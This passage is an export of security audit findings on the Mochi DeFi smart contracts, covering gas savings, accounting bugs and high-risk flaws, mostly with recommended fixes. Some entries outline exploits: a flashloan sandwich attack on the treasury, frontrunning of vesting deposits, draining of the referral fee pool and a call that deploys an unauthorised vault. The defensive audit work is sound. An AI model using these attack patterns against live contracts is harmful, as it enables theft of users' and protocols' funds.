{"title": "Simplify `sqrt()` can save gas", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details The check of `x > 3` is unnecessary and most certainly adds more gas cost than it saves as the majority of use cases of this function will not be handling `x <= 3`. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-cssr/contracts/adapter/UniswapV2LPAdapter.sol#L106-L117 https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-cssr/contracts/adapter/SushiswapV2LPAdapter.sol#L106-L117 ```solidity=106 function sqrt(uint x) internal pure returns (uint y) { if (x > 3) { uint z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } else if (x != 0) { y = 1; } } ``` ### Recommendation Change to: ```solidity function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } ``` "}, {"title": "`FeePoolV0.sol#distributeMochi()` will unexpectedly flush `treasuryShare`, causing the protocol fee cannot be properly accounted for and collected", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/114", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details `distributeMochi()` will call `_buyMochi()` to convert `mochiShare` to Mochi token and call `_shareMochi()` to send Mochi to vMochi Vault and veCRV Holders. It wont touch the `treasuryShare`. However, in the current implementation, `treasuryShare` will be reset to `0`. This is unexpected and will cause the protocol fee can not be properly accounted for and collected. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/feePool/FeePoolV0.sol#L79-L95 ```solidity=79 function _shareMochi() internal { IMochi mochi = engine.mochi(); uint256 mochiBalance = mochi.balanceOf(address(this)); // send Mochi to vMochi Vault mochi.transfer( address(engine.vMochi()), (mochiBalance * vMochiRatio) / 1e18 ); // send Mochi to veCRV Holders mochi.transfer( crvVoterRewardPool, (mochiBalance * (1e18 - vMochiRatio)) / 1e18 ); // flush mochiShare mochiShare = 0; treasuryShare = 0; } ``` ### Impact Anyone can call `distributeMochi()` and reset `treasuryShare` to `0`, and then call `updateReserve()` to allocate part of the wrongfuly resetted `treasuryShare` to `mochiShare` and call `distributeMochi()`. Repeat the steps above and the `treasuryShare` will be consumed to near zero, profits the vMochi Vault holders and veCRV Holders. The protocol suffers the loss of funds. ### Recommendation Change to: ```solidity=64 function _buyMochi() internal { IUSDM usdm = engine.usdm(); address[] memory path = new address[](2); path[0] = address(usdm); path[1] = address(engine.mochi()); usdm.approve(address(uniswapRouter), mochiShare); uniswapRouter.swapExactTokensForTokens( mochiShare, 1, path, address(this), type(uint256).max ); // flush mochiShare mochiShare = 0; } function _shareMochi() internal { IMochi mochi = engine.mochi(); uint256 mochiBalance = mochi.balanceOf(address(this)); // send Mochi to vMochi Vault mochi.transfer( address(engine.vMochi()), (mochiBalance * vMochiRatio) / 1e18 ); // send Mochi to veCRV Holders mochi.transfer( crvVoterRewardPool, (mochiBalance * (1e18 - vMochiRatio)) / 1e18 ); } ``` "}, {"title": "`FeePoolV0.sol` Lack of input validation", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/106", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details `treasuryRatio` and `vMochiRatio` must be `<= 1e18` to make sure the contract works correctly. Therefore, the input should be checked in the setters. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/feePool/FeePoolV0.sol#L45-L53 ```solidity=45 function changeTreasuryRatio(uint256 _ratio) external { require(msg.sender == engine.governance(), \"!gov\"); treasuryRatio = _ratio; } function changevMochiRatio(uint256 _ratio) external { require(msg.sender == engine.governance(), \"!gov\"); vMochiRatio = _ratio; } ``` ### Recommendation Change to: ```solidity=45 function changeTreasuryRatio(uint256 _ratio) external { require(msg.sender == engine.governance(), \"!gov\"); require(_ratio <= 1e18, \">1e18\"); treasuryRatio = _ratio; } function changevMochiRatio(uint256 _ratio) external { require(msg.sender == engine.governance(), \"!gov\"); require(_ratio <= 1e18, \">1e18\"); vMochiRatio = _ratio; } ``` "}, {"title": "Minor precision loss", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/105", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L67-L68 ```solidity=67 mochi.transfer(msg.sender, _amount / 2); mochi.transfer(address(vMochi), _amount / 2); ``` Change to: ```solidity=67 mochi.transfer(msg.sender, _amount / 2); mochi.transfer(address(vMochi), _amount - _amount / 2); ``` https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/treasury/MochiTreasuryV0.sol#L59-L65 ```solidity=63 operationShare += updatedFee / 2; veCRVShare += updatedFee / 2; ``` Change to: ```solidity=63 operationShare += updatedFee / 2; veCRVShare += updatedFee - updatedFee / 2; ``` "}, {"title": "`DutchAuctionLiquidator.sol#triggerLiquidation()` Adding precondition check can save gas", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details When liquidators race to liquidate a position, all other besides the first liquidator will be handling an empty (liquidated) position. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/liquidator/DutchAuctionLiquidator.sol#L69-L81 ```solidity=69 function triggerLiquidation(address _asset, uint256 _nftId) external override { IMochiVault vault = engine.vaultFactory().getVault(_asset); Auction storage auction = auctions[auctionId(_asset, _nftId)]; require(auction.startedAt == 0 || auction.boughtAt != 0, \"on going\"); uint256 debt = vault.currentDebt(_nftId); (, uint256 collateral, , , ) = vault.details(_nftId); vault.liquidate(_nftId, collateral, debt); ... ``` In the current implementation, even if the position is liquidated, at L77 and L79, it still tries to get the details and call `vault.liquidate()`, until it reverts at L285-L288 on `MochiVault.sol#liquidate()`. That's going to cost a decent amount of gas due to these unnecessary external calls and code executions. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/vault/MochiVault.sol#L277-L288 ```solidity=277{285-288} function liquidate( uint256 _id, uint256 _collateral, uint256 _usdm ) external override updateDebt(_id) { require(msg.sender == address(engine.liquidator()), \"!liquidator\"); require(engine.nft().asset(_id) == address(asset), \"!asset\"); float memory price = engine.cssr().getPrice(address(asset)); require( _liquidatable(details[_id].collateral, price, currentDebt(_id)), \"healthy\" ); ... ``` Therefore, adding a precondition check can save gas. ### Recommendation Change to: ```solidity=69{77} function triggerLiquidation(address _asset, uint256 _nftId) external override { IMochiVault vault = engine.vaultFactory().getVault(_asset); Auction storage auction = auctions[auctionId(_asset, _nftId)]; require(auction.startedAt == 0 || auction.boughtAt != 0, \"on going\"); uint256 debt = vault.currentDebt(_nftId); require(debt > 0, \"!debt\"); (, uint256 collateral, , , ) = vault.details(_nftId); vault.liquidate(_nftId, collateral, debt); ... ``` "}, {"title": "`VestedRewardPool.sol#checkClaimable()` Add `vesting[recipient].ends > 0` to the condition can save gas", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details When the vesting ends, `vesting[recipient].ends` will be `0` which always passes the check of `vesting[recipient].ends < block.timestamp` and causes unnecessary code execution. Adding a check of `vesting[recipient].ends > 0` can avoid unnecessary code execution and save gas. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L22-L29 ```solidity modifier checkClaimable(address recipient) { if (vesting[recipient].ends < block.timestamp) { vesting[recipient].claimable += vesting[recipient].vested; vesting[recipient].vested = 0; vesting[recipient].ends = 0; } _; } ``` ### Recommendation Change to: ```solidity modifier checkClaimable(address recipient) { if (vesting[recipient].ends > 0 && vesting[recipient].ends < block.timestamp) { vesting[recipient].claimable += vesting[recipient].vested; vesting[recipient].vested = 0; vesting[recipient].ends = 0; } _; } ``` "}, {"title": "`ReferralFeePoolV0.sol#claimRewardAsMochi()` Array out of bound exception", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/97", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/feePool/ReferralFeePoolV0.sol#L28-L42 ```solidity=28 function claimRewardAsMochi() external { IUSDM usdm = engine.usdm(); address[] memory path = new address[](2); path[0] = address(usdm); path[1] = uniswapRouter.WETH(); path[2] = address(engine.mochi()); usdm.approve(address(uniswapRouter), reward[msg.sender]); // we are going to ingore the slippages here uniswapRouter.swapExactTokensForTokens( reward[msg.sender], 1, path, address(this), type(uint256).max ); ``` In `ReferralFeePoolV0.sol#claimRewardAsMochi()`, `path` is defined as an array of length 2 while it should be length 3. As a result, at L33, an out-of-bound exception will be thrown and revert the transaction. ### Impact `claimRewardAsMochi()` will not work as expected so that all the referral fees cannot be claimed but stuck in the contract. "}, {"title": "Tokens Can Be Stolen By Frontrunning `VestedRewardPool.vest()` and `VestedRewardPool.lock()`", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/92", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `VestedRewardPool.sol` contract is a public facing contract aimed at vesting tokens for a minimum of 90 days before allowing the recipient to withdraw their `mochi`. The `vest()` function does not utilise `safeTransferFrom()` to ensure that vested tokens are correctly allocated to the recipient. As a result, it is possible to frontrun a call to `vest()` and effectively steal a recipient's vested tokens. The same issue applies to the `lock()` function. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L36-L46 https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L54-L64 ## Tools Used Manual code review Discussions with the Mochi team ## Recommended Mitigation Steps Ensure that users understand that this function should not be interacted directly as this could result in lost `mochi` tokens. Additionally, it might be worthwhile creating a single externally facing function which calls `safeTransferFrom()`, `vest()` and `lock()` in a single transaction. "}, {"title": "`treasuryShare` is Overwritten in `FeePoolV0._shareMochi()`", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/89", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `FeePoolV0.sol` contract accrues fees upon the liquidation of undercollaterised positions. These fees are split between treasury and `vMochi` contracts. However, when `distributeMochi()` is called to distribute `mochi` tokens to `veCRV` holders, both `mochiShare` and `treasuryShare` is flushed from the contract when there are still `usdm` tokens in the contract. ## Proof of Concept Consider the following scenario: - The `FeePoolV0.sol` contract contains 100 `usdm` tokens at an exchange rate of 1:1 with `mochi` tokens. - `updateReserve()` is called to set the split of `usdm` tokens such that `treasuryShare` has claim on 20 `usdm` tokens and `mochiShare` has claim on the other 80 tokens. - A `veCRV` holder seeks to increase their earnings by calling `distributeMochi()` before `sendToTreasury()` has been called. - As a result, 80 `usdm` tokens are converted to `mochi` tokens and locked in a curve rewards pool. - Consequently, `mochiShare` and `treasuryShare` is set to `0` (aka flushed). - The same user calls `updateReserve()` to split the leftover 20 `usdm` tokens between `treasuryShare` and `mochiShare`. - `mochiShare` is now set to 16 `usdm` tokens. - The above process is repeated to distribute `mochi` tokens to `veCRV` holders again and again. - The end result is that `veCRV` holders have been able to receive all tokens that were intended to be distributed to the treasury. https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/feePool/FeePoolV0.sol#L94 ## Tools Used Manual code review Discussions with the Mochi team. ## Recommended Mitigation Steps Consider removing the line in `FeePoolV0.sol` (mentioned above), where `treasuryShare` is flushed. "}, {"title": "Variable `liquidated` in MochiVault is never used", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "Variable `liquidated` in MochiVault is never used"}, {"title": "Chainlink's `latestRoundData` might return stale or incorrect results", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L50-L60 ```solidity=50 function sync() public { (, int256 feedPrice, , uint256 timestamp, ) = feed.latestRoundData(); Fixed18 price = Fixed18Lib.ratio(feedPrice, SafeCast.toInt256(_decimalOffset)); if (priceAtVersion.length == 0 || timestamp > timestampAtVersion[currentVersion()] + minDelay) { priceAtVersion.push(price); timestampAtVersion.push(timestamp); emit Version(currentVersion(), timestamp, price); } } ``` On `ChainlinkOracle.sol`, we are using `latestRoundData`, but there is no check if the return value indicates stale data. This could lead to stale prices according to the Chainlink documentation: - https://docs.chain.link/docs/historical-price-data/#historical-rounds - https://docs.chain.link/docs/faq/#how-can-i-check-if-the-answer-to-a-round-is-being-carried-over-from-a-previous-round ### Recommendation Consider adding missing checks for stale data. For example: ```solidity (uint80 roundID, int256 feedPrice, , uint256 timestamp, uint80 answeredInRound) = feed.latestRoundData(); require(feedPrice > 0, \"Chainlink price <= 0\"); require(answeredInRound >= roundID, \"Stale price\"); require(timestamp != 0, \"Round not complete\"); ``` "}, {"title": "Save Gas With The Unchecked Keyword (MochiVault.sol)", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Redundant arithmetic underflow/overflow checks can be avoided when an underflow/overflow cannot happen. ## Proof of Concept The \"unchecked\" keyword can be applied here since there is an \"if\" statement before to ensure the arithmetic operations, would not cause an integer underflow or overflow. https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/vault/MochiVault.sol#L267 Change the code at 267 to: unchecked { debts -= _amount; } A similar change can be made here: https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/vault/MochiVault.sol#L269 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add the \"unchecked\" keyword as shown above. "}, {"title": "anyone can create a vault by directly calling the factory", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/80", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact [MochiVaultFactory.sol#L26-L37](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVaultFactory.sol#L26-L37) There's no permission control in the vaultFactory. Anyone can create a vault. The transaction would be reverted when the government tries to deploy such an asset. As the protocol checks whether the vault is a valid vault by comparing the contract's address with the computed address, the protocol would recognize the random vault as a valid one. I consider this is a medium-risk issue. ## Proof of Concept Here's a web3.py script to trigger the bug. ```py vault_factory.functions.deployVault(usdt.address).transact() ## this tx would be reverted profile.functions.registerAssetByGov([usdt.address], [3]).transact() ``` ## Tools Used None ## Recommended Mitigation Steps Recommend to add a check. ```solidity require(msg.sender == engine, \"!engine\"); ``` "}, {"title": "Remove extra calls in updateReserve (FeePoolV0.sol)", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Cache the result of engine.usdm().balanceOf to simplify code and save gas. ## Proof of Concept engine.usdm().balanceOf is called twice in function updateReserve here: https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/feePool/FeePoolV0.sol#L32-L38 I suggest modifying the code as follows: function updateReserve() external override { uint256 balanceOf = engine.usdm().balanceOf(address(this)); treasuryShare += ((balanceOf - mochiShare - treasuryShare) * treasuryRatio) / 1e18; mochiShare = balanceOf - treasuryShare; } ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps See POC "}, {"title": "Unchecked low level call", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/76", "labels": ["bug", "1 (Low Risk)"], "target": "2021-10-mochi-findings", "body": "Unchecked low level call"}, {"title": "Unlocked pragma version", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/74", "labels": ["bug", "0 (Non-critical)"], "target": "2021-10-mochi-findings", "body": "Unlocked pragma version"}, {"title": "Unnecessary require in settleLiquidation ", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact On line 100 of DutchAuctionLiquidator.sol (within settleLiquidation), there is a require statement for auction.boughtAt == 0. This is already checked on line 121 within the \"buy\" function, and this is the only function that can possibly call settleLiquidation, so this require statement always passes. Removing it would save gas. ## Proof of Concept Link to require statement here: https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/liquidator/DutchAuctionLiquidator.sol#:~:text=require(auction.boughtAt%20%3D%3D%200%2C%20%22liquidated%22)%3B ## Tools Used Manual inspection. ## Recommended Mitigation Steps Remove unnecessary require statement described above to save gas. "}, {"title": "Liquidation will never work with non-zero discounts", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/66", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact Right now, there is only one discount profile in the github repo: the \"NoDiscountProfile\" which does not discount the debt at all. This specific discount profile works correctly, but I claim that any other discount profile will result in liquidation never working. Suppose that we instead have a discount profile where discount() returns any value strictly larger than 0. Now, suppose someone wants to trigger a liquidation on a position. First, triggerLiquidation will be called (within DutchAuctionLiquidator.sol). The variable \"debt\" is initialized as equal to vault.currentDebt(_nftId). Notice that currentDebt(_ndfId) (within MochiVault.sol) simply scales the current debt of the position using the liveDebtIndex() function, but there is no discounting being done within the function - this will be important. Back within the triggerLiquidation function, the variable \"collateral\" is simply calculated as the total collateral of the position. Then, the function calls vault.liquidate(_nftId, collateral, debt), and I claim that this will never work due to underflow. Indeed, the liquidate function will first update the debt of the position (due to the updateDebt(_id) modifier). The debt of the position is thus updated using lines 99-107 in MochiVault.sol. We can see that the details[_id].debt is updated in the exact same way as the calculations for currentDebt(_nftId), however, there is the extra subtraction of the discountedDebt on line 107. Eventually we will reach line 293 in MochiVault.sol. However, since we discounted the debt in the calculation of details[_id].debt, but we did not discount the debt for the passed in parameter _usdm (and thus is strictly larger in value), line 293 will always error due to an underflow. In summary, any discount profile that actually discounts the debt of the position will result in all liquidations erroring out due to this underflow. Since no positions will be liquidatable, this represents a major flaw in the contract as then no collateral can be liquidated so the entire functionality of the contract is compromised. ## Proof of Concept Liquidate function in MochiVault.sol: https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol#:~:text=function-,liquidate,-( triggerLiquidation function in DutchAuctionLiquidator.sol: https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/liquidator/DutchAuctionLiquidator.sol#:~:text=function-,triggerLiquidation,-(address%20_asset%2C%20uint256 Retracing the steps as I have described above, we can see that any call to triggerLiquidation will result in: details[_id].debt -= _usdm; throwing an error since _usdm will be larger than details[_id].debt. ## Tools Used Manual inspection. ## Recommended Mitigation Steps An easy fix is to simply change: details[_id].debt -= _usdm; to be: details[_id].debt = 0; as liquidating a position should probably just be equivalent to repaying all of the debt in the position. Side Note: If there are no other discount profiles planned to be added other than \"NoDiscountProfile\", then I would recommend deleting all of the discount logic entirely, since NoDiscountProfile doesn't actually do anything "}, {"title": "feePool is vulnerable to sandwich attack.", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/65", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-10-mochi-findings", "body": "feePool is vulnerable to sandwich attack."}, {"title": "Cached length of arrays to avoid loading them repeadetly", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Impact Gas optimization. ## Proof of Concept ``` for (uint i = 0; i < arr.length; i++) { //Operations not effecting the length of the array. } ``` Loading length for storage arrays cost 100 gas and for memory arrays it costs 3 gas. When arr.length is defined as the condition of for loop, at the start of every iteration the length is loaded from memory. If the length doesn't change during the loop, loading the length of arrays repeatedly can be avoided by saving the length to the stack. ``` uint length = arr.length; for (uint i = 0; i < length; i++) { //Operations not effecting the length of the array. } ``` By doing so the length is only loaded once rather than loading it as many times as iterations (Therefore, less gas is spent). ## Locations ``` ./mochi-core/contracts/profile/MochiProfileV0.sol:68: for (uint256 i = 0; i < _asset.length; i++) { ./mochi-core/contracts/profile/MochiProfileV0.sol:86: for (uint256 i = 0; i < _assets.length; i++) { ./mochi-core/contracts/profile/MochiProfileV0.sol:95: for (uint256 i = 0; i < _assets.length; i++) { ./mochi-cssr/contracts/MochiCSSRv0.sol:41: for(uint256 i = 0; i<_assets.length; i++){ ./mochi-cssr/contracts/MochiCSSRv0.sol:47: for(uint256 i = 0; i<_assets.length; i++){ ./mochi-cssr/contracts/MochiCSSRv0.sol:66: for(uint256 i = 0; i<_assets.length; i++){ ./mochi-cssr/contracts/MochiCSSRv0.sol:77: for(uint256 i = 0; i<_assets.length; i++){ ./mochi-cssr/contracts/adapter/ChainlinkAdapter.sol:34: for(uint256 i = 0; i<_assets.length; i++) { ./mochi-cssr/contracts/adapter/UniswapV2TokenAdapter.sol:63: for (uint256 i = 0; i < keyCurrency.length; i++) { ./mochi-cssr/contracts/adapter/UniswapV2TokenAdapter.sol:122: for (uint256 i = 0; i < keyCurrency.length; i++) { ./mochi-cssr/contracts/adapter/UniswapV2TokenAdapter.sol:175: for (uint256 i = 0; i < keyCurrency.length; i++) { ./mochi-library/contracts/MerklePatriciaVerifier.sol:36: for (uint i=0; i 0; i--) { ./mochi-library/contracts/UniswapV2Library.sol:66: for (uint i; i < path.length - 1; i++) { ./mochi-library/contracts/UniswapV2Library.sol:77: for (uint i = path.length - 1; i > 0; i--) { ``` ## A similar case nibblePath.length is constant but it is read at every iteration for require statement. ```./mochi-library/contracts/MerklePatriciaVerifier.sol:36: require(pathPtr <= nibblePath.length, \"Path overflow\");``` "}, {"title": "Changing NFT contract in the MochiEngine would break the protocol", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/63", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact MochiEngine allows the operator to change the NFT contract. [MochiEngine.sol#L91-L93](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/MochiEngine.sol#L91-L93) All the vaults would point to a different NFT address. As a result, users would not be access their positions. The entire protocol would be broken. IMHO, A function that would break the entire protocol shouldn't exist. I consider this is a high-risk issue. ## Proof of Concept [MochiEngine.sol#L91-L93](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/MochiEngine.sol#L91-L93) ## Tools Used None ## Recommended Mitigation Steps Remove the function. "}, {"title": "regerralFeePool is vulnerable to MEV searcher", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle jonah1005 # Vulnerability details # regerralFeePool is vulnerable to MEV searcher ## Impact `claimRewardAsMochi` in the `ReferralFeePoolV0` ignores slippage. This is not a desirable design. There are a lot of MEV searchers in the current network. Swapping assets with no slippage control would get rekted. Please refer to https://github.com/flashbots/pm. Given the current state of the Ethereum network. Users would likely be sandwiched. I consider this is a high-risk issue. ## Proof of Concept [ReferralFeePoolV0.sol#L28-L48](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/feePool/ReferralFeePoolV0.sol#L28-L48) Please refer to https://medium.com/immunefi/mushrooms-finance-theft-of-yield-bug-fix-postmortem-16bd6961388f to see a possible attack pattern. ## Tools Used None ## Recommended Mitigation Steps I recommend adding minReceivedAmount as a parameter. ```solidity function claimRewardAsMochi(uint256 _minReceivedAmount) external { // original logic here require(engine.mochi().balanceOf(address(this)) > _minReceivedAmount, \"!min\"); engine.mochi().transfer( msg.sender, engine.mochi().balanceOf(address(this)) ); } ``` Also, the front-end should calculate the min amount with the current price. "}, {"title": "treasury is vulnerable to sandwich attack", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/60", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle jonah1005 # Vulnerability details # treasury is vulnerable to sandwich attack. ## Impact There's a permissionless function `veCRVlock` in MochiTreasury. Since everyone can trigger this function, the attacker can launch a sandwich attack with flashloan to steal the funds. [MochiTreasuryV0.sol#L73-L94](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/treasury/MochiTreasuryV0.sol#L73-L94) Attackers can possibly steal all the funds in the treasury. I consider this is a high-risk issue. ## Proof of Concept [MochiTreasuryV0.sol#L73-L94](https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/treasury/MochiTreasuryV0.sol#L73-L94) Here's an exploit pattern 1. Flashloan and buy CRV the uniswap pool 2. Trigger `veCRVlock()` 3. The treasury buys CRV at a very high price. 4. Sell CRV and pay back the loan. ## Tools Used None ## Recommended Mitigation Steps Recommend to add `onlyOwner` modifier. "}, {"title": "borrow function will underflow when total debt > creditCap", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-10-mochi-findings", "body": "borrow function will underflow when total debt > creditCap"}, {"title": "Referrer can drain ReferralFeePoolV0", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/55", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gzeon # Vulnerability details ## Impact function claimRewardAsMochi in ReferralFeePoolV0.sol did not reduce user reward balance, allowing referrer to claim the same reward repeatedly and thus draining the fee pool. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/feePool/ReferralFeePoolV0.sol L28-47 did not reduce user reward balance ## Tools Used None ## Recommended Mitigation Steps Add the following lines > rewards -= reward[msg.sender]; > reward[msg.sender] = 0; "}, {"title": "Gas optimization: Struct layout in DutchAuctionLiquidator.sol", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Auction struct in DutchAuctionLiquidator.sol can be optimized to reduce 2 storage slot ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/liquidator/DutchAuctionLiquidator.sol L18-L25: the struct can changed into struct Auction { uint256 nftId; address vault; uint48 startedAt; uint48 boughtAt; uint256 collateral; uint256 debt; } startedAt and boughtAt store block numbers, and 2^48 is be enough for a very long time. ## Tools Used None ## Recommended Mitigation Steps Change the struct as suggested above, also need to cast whenever startedAt and boughtAt is used. "}, {"title": "Vault status is not set to Liquidated after liquidation", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle gzeon # Vulnerability details ## Impact There is a status enum Liquidated but was not used anywhere in the code. ## Proof of Concept https://github.com/code-423n4/2021-10-mochi/blob/main/projects/mochi-core/contracts/vault/MochiVault.sol L277-296 status was not set to Status.Liquidated after liquidation ## Tools Used None ## Recommended Mitigation Steps details[id].status = Status.Liquidated; "}, {"title": "borrow function will borrow max cf when trying to borrow > cf", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-mochi-findings", "body": "borrow function will borrow max cf when trying to borrow > cf"}, {"title": "Reduce State Variable Use in VestedRewardPool.sol", "html_url": "https://github.com/code-423n4/2021-10-mochi-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-mochi-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Caching the \"vesting\" state variable instead of repeatedly reading and writing it will decrease deployment and runtime gas. This is especially true for the modifier \"checkClaimable\" which is used on every function in the contract. ## Proof of Concept The checkClaimable function is here: https://github.com/code-423n4/2021-10-mochi/blob/8458209a52565875d8b2cefcb611c477cefb9253/projects/mochi-core/contracts/emission/VestedRewardPool.sol#L22-L29 An 